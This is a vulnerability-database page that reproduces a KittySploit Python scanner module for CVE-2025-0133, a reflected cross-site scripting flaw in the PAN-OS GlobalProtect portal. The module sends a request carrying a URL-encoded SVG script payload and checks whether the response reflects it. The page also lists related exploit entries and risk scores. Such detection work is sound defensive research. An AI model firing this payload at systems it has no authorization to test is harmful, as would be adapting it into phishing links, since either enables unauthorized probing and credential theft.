Lucene search
+L

PAN-OS - Reflected Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 4 Views

Reflected XSS in PAN-OS GlobalProtect gateway and portal enables JavaScript execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-0133
24 Jun 202510:25
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-0133
11 Jul 202520:58
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-0133
23 May 202513:08
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-0133
18 Jun 202510:06
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-0133
6 May 202623:51
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-0133
29 Jun 202609:47
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-0133
17 Jun 202517:59
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-0133
23 Sep 202523:15
–githubexploit
attackerkb
attackerkb
CVE-2025-0133
14 May 202519:15
–attackerkb
bdu_fstec
BDU FSTEC
GlobalProtect Gateway XSS
21 May 202500:00
–bdu_fstec
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'PAN-OS - Reflected Cross-Site Scripting Detection',
        'description': "A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo Alto Networks PAN-OS® software enables execution of malicious JavaScript in the context of an authenticated Captive Portal user's browser when they click on a specially crafted link.The primary risk is phishing attacks that can lead to credential theft—particularly if you enabled Clientless VPN.",
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'hackerone', 'cve', 'cve2025', 'xss', 'panos', 'global-protect', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': ['https://security.paloaltonetworks.com/CVE-2025-0133', 'https://hackerone.com/reports/3096384'],
        'cve': 'CVE-2025-0133',
    }

    def run(self):
        path = '/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('<script>prompt("XSS")</script>', 'authentication cookie',)
        if all(m in body for m in body_all):
            self.set_info(severity='medium', reason='PAN-OS - Reflected Cross-Site Scripting detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6.4Medium risk
Vulners AI Score6.4
CVSS 46.9
EPSS0.46297
SSVC
4